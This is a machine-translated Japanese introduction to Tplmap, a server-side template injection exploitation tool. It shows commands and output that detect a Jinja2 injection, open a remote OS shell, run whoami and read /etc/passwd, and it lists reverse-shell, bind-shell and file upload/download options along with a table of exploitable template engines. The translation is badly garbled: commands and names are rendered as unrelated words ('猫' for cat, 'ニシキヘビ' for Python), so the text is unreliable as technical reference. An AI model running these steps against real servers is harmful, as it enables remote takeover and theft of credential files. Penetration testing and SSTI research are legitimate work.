ユーザーが指定した値を持つテンプレートを使用して動的コンテンツを生成する Web ページの侵入テストを実行すると、サーバー側のテンプレートインジェクションの脆弱性が発生する可能性があります。 処理するテンプレート エンジンの手動識別とそれに続く悪用は、Tplmap ツールを使用して簡単に自動化できます。
Tplmap は、いくつかのタイプのテンプレートエンジンで SSTI を検出して使用できます。 ファイルシステムを参照したり、攻撃を受けたサーバー上でコマンドをリモートで実行したりするなどの機能があります。
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+]Tplmap 0.5
自動サーバー側テンプレートの挿入検出および活用ツール
[+]GET パラメータ 'name' が挿入可能かどうかをテストする
[+]Smartyプラグインはタグ'{*}' でレンダリングをテストしています
[+]Smartyプラグインはブラインド注射をテストしています
[+]Makoプラグインはタグ '${*}' でレンダリングをテストしています
...
[+]Jinja2 プラグインはタグ '{{*}' でレンダリングをテストしています
[+]Jinja2 プラグインはタグ '{{*}' でインジェクションを確認しました
[+]Tplmap は次の射出ポイントを特定しました:
GET パラメータ: 名前
エンジン: ジンジャ2
注射: {{*}}
コンテキスト: テキスト
OS: Linux
テクニック: レンダリング
資格:
シェルコマンドの実行: 約。
バインドと逆のシェル:約。
ファイルの書き込み: OK
ファイルの読み取り: OK
コード評価: OK、Python コード
[+]次のいずれかのオプションを指定して、tplmap を再実行します。
--os-shell ターゲットでシェルを実行する
--os-cmd シェルコマンドを実行する
--bind-shell PORT ターゲット ポートへのシェル バインドへの接続
--リバースシェル HOST PORT 攻撃者のポートにシェルを送り返す
--ローカルリモートアップロードファイルをサーバにアップロードする
--リモートローカルダウンロードリモートファイル
ターゲットで疑似端末を実行するには 、--os-shell オプション
を使用します。
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+]Tplmap 0.5
自動サーバー側テンプレートの挿入検出および活用ツール
[+]オペレーティング システムでコマンドを実行します。
linux $ うわーみ
ウェブ
linux $ 猫 /etc/パスwd
ルート:/ルート:/ビン/バッシュ
デーモン:x:1:1:デーモン:/usr/sbin:/ビン/sh
ビン:x:2:2:ビン:/ビン:/ビン/sh
Tplmap は 15 を超えるテンプレートエンジンをサポートしています。
エンジン | リモートコマンドの実行 | 盲 | コード評価 | ファイルの読み取り | ファイルに書き込む |
---|---|---|---|---|---|
アオザメ | ✓ | ✓ | ニシキヘビ | ✓ | ✓ |
ジンジャ2 | ✓ | ✓ | ニシキヘビ | ✓ | ✓ |
Python (コード評価) | ✓ | ✓ | ニシキヘビ | ✓ | ✓ |
竜巻 | ✓ | ✓ | ニシキヘビ | ✓ | ✓ |
ヌンジュックス (ケンタッキー州) | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
パグ | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
点 | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
マルコ | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
Javaスクリプト (コードエバル) | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
ほこり(<= [email protected]) | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
EJS | ✓ | ✓ | ジャワスクリプト | ✓ | ✓ |
ルビー (コード評価) | ✓ | ✓ | ルビー | ✓ | ✓ |
ほっそり | ✓ | ✓ | ルビー | ✓ | ✓ |
エルビウム | ✓ | ✓ | ルビー | ✓ | ✓ |
スマート(安全でない) | ✓ | ✓ | PHP | ✓ | ✓ |
PHP (コード評価) | ✓ | ✓ | PHP | ✓ | ✓ |
小枝(<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
フリーマーカー | ✓ | ✓ | × | ✓ | ✓ |
ベロシティ, 新しい | ✓ | ✓ | × | ✓ | ✓ |
小枝 (>1.19) | × | × | × | × | × |
スマート(セキュリティで保護) | × | × | × | × | × |
ダスト(>ダスト[email protected]) | × | × | × | × | × |
Tplmap は作成者の github – tplmapで見つけることができます。